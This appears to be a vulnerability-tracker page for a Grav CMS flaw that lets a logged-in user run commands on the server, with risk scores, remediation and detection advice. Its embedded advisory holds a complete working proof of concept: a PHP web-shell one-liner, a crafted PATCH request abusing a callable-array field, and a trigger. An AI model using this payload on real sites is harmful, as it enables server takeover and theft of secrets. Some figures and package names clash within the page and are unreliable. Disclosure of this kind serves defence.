CVE-2026-72819: Grav CMS: callable-array bypass enables authenticated RCE

GHSA-r94f-hx44-8jqfHIGHPoC AVAILABLECISA: ATTEND
Published September 17, 2026
CISO Take

Grav CMS before 2.0.13 has a flaw where a logged-in user can run arbitrary commands on the server. The safety check on dynamic settings fields only inspects routine names written as a single string, so naming the routine as a pair slips past it. The attacker then calls the ZIP-unpacking routine to drop a PHP shell into the web root. Grav is a general CMS, not an AI platform, but 504 downstream dependents and a public PoC give it real reach. EPSS is low (0.9%, top 41%), it is not in CISA KEV, and CISA SSVC says ATTEND, so this is a prompt-patch item rather than an emergency. Upgrade to 2.0.13, and review who holds admin or API credentials on any Grav site that fronts AI documentation, portals or model-related content.

Sources:NVDGitHub AdvisoryEPSSATLASOpenSSFvulncheck.com

What is the risk?

High (CVSS 8.8). It is network-reachable with low complexity and needs only a low-privileged authenticated account, with no user interaction. A working public PoC exists, but there is no Nuclei template, no KEV listing and low EPSS (0.9%), so mass exploitation is not currently observed. Exposure of AI/ML systems is indirect: the product is a web CMS (the AI category is loosely tagged ml_ui), and risk rises where the Grav host shares credentials, networks or secrets with AI infrastructure. The package has 76 other CVEs and an OpenSSF score of 6.7/10, which points to a recurring flaw pattern.

How does the attack unfold?

Initial Access
Attacker logs in with a low-privilege Grav account and uploads a ZIP containing a PHP shell as ordinary media.
AML.T0012
Exploitation
A crafted PATCH to the Flex Objects config plants a field whose data-default@ pair calls GPM Installer unZip, bypassing the safety check.
AML.T0049
Execution
Creating a Flex object triggers the field, unpacking shell.php into the public web root.
AML.T0050
Impact
The attacker runs arbitrary commands as the web server user, stealing secrets and pivoting to connected AI services or tampering with content.

What systems are affected?

PackageEcosystemVulnerable RangePatched
Panelcomposer< 2.0.132.0.13
5.8KOpenSSF 6.5514 dependentsPushed 3d ago67% patched~15d to patchFull package profile →

Do you use Panel? You're affected.

How severe is it?

CVSS 3.1
8.8 / 10
EPSS
0.9%
chance of exploitation in 30 days
Higher than 60% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
○CISA SSVC: Public PoC
○Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRLow
UINone
SUnchanged
CHigh
IHigh
AHigh

What should I do?

1 step
  1. 1) Upgrade getgrav/grav to 2.0.13 or later. 2) Until patched, restrict /admin, /login and /api/v1 to trusted IPs or a VPN, and remove unneeded accounts and API tokens. 3) Disable or remove the Flex Objects plugin if unused, and block uploads of ZIP files in user/media. 4) Detect by hunting for new .php files in the web root or user/media, unexpected PATCH requests to /api/v1/config/plugins/*, changes to flex-objects.yaml containing a data-default@ key with an array value, and POSTs to /api/v1/flex-objects. 5) Rotate credentials, API keys and secrets on any host where compromise is suspected, and run the web server as a least-privilege user with a read-only docroot where possible.

What does CISA's SSVC say?

DecisionAttend
Exploitationpoc
AutomatableNo
Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.10.3-Suppliers
NIST AI RMF
MANAGE 2.3-Responses to previously unknown risks and third-party component risks
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-72819?

Grav CMS before 2.0.13 has a flaw where a logged-in user can run arbitrary commands on the server. The safety check on dynamic settings fields only inspects routine names written as a single string, so naming the routine as a pair slips past it. The attacker then calls the ZIP-unpacking routine to drop a PHP shell into the web root. Grav is a general CMS, not an AI platform, but 504 downstream dependents and a public PoC give it real reach. EPSS is low (0.9%, top 41%), it is not in CISA KEV, and CISA SSVC says ATTEND, so this is a prompt-patch item rather than an emergency. Upgrade to 2.0.13, and review who holds admin or API credentials on any Grav site that fronts AI documentation, portals or model-related content.

Is CVE-2026-72819 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-72819, increasing the risk of exploitation.

How to fix CVE-2026-72819?

1) Upgrade getgrav/grav to 2.0.13 or later. 2) Until patched, restrict /admin, /login and /api/v1 to trusted IPs or a VPN, and remove unneeded accounts and API tokens. 3) Disable or remove the Flex Objects plugin if unused, and block uploads of ZIP files in user/media. 4) Detect by hunting for new .php files in the web root or user/media, unexpected PATCH requests to /api/v1/config/plugins/*, changes to flex-objects.yaml containing a data-default@ key with an array value, and POSTs to /api/v1/flex-objects. 5) Rotate credentials, API keys and secrets on any host where compromise is suspected, and run the web server as a least-privilege user with a read-only docroot where possible.

What systems are affected by CVE-2026-72819?

This vulnerability affects the following AI/ML architecture patterns: Web CMS hosting AI product or documentation portals, RAG content sources fed from CMS-managed content, Admin and API-managed web front ends for AI services.

What is the CVSS score for CVE-2026-72819?

CVE-2026-72819 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.90%.

What is the AI security impact?

Affected AI Architectures

Web CMS hosting AI product or documentation portalsRAG content sources fed from CMS-managed contentAdmin and API-managed web front ends for AI services

MITRE ATLAS Techniques

AML.T0012Valid Accounts
AML.T0049Exploit Public-Facing Application
AML.T0050Command and Scripting Interpreter
AML.T0079Stage Capabilities

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.10.3
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

### Summary A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs. ### Details The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable. The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with `../`, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address. Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server. ### PoC 1. Log in at `http://TARGET/login` (or `/admin`). The session cookie is the only credential needed below. 2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at `/user/media/evil.zip`. Zip the shell.php file with the php code mentioned below: ``` shell.php: <?php system($_GET['c']); ?> zip evil.zip shell.php ``` 3. Send the request (attach your Cookie and X-API-Token): ``` PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json { "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject", "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection", "index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex", "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage", "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } } ``` 4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token): ``` POST /api/v1/flex-objects/flex-objects Content-Type: application/json {"name": "x"} -> 201 ``` 5. Open the file that was written: ``` http://TARGET/shell.php?c=id -> PWNED:uid=1000(kali) gid=1000(kali) ... ``` ### Impact Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.

Exploitation Scenario

An attacker obtains a low-privilege Grav login, for example through credential reuse or a weak contributor account on a site hosting AI documentation. They upload a ZIP containing shell.php as ordinary media, then send a PATCH to the Flex Objects plugin config. That request defines a field whose data-default@ value is the pair [GPM\Installer, unZip] pointing at the ZIP and the docroot. Creating a Flex object triggers the call and unpacks the shell into the public folder. The attacker then runs commands over HTTP, reads environment variables and API keys for connected AI services, and moves laterally to internal ML infrastructure or alters content used by RAG ingestion.

Weaknesses (CWE)

CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

  • [Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
  • [Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
September 17, 2026
Last Modified
October 8, 2026
First Seen
September 18, 2026

Related Vulnerabilities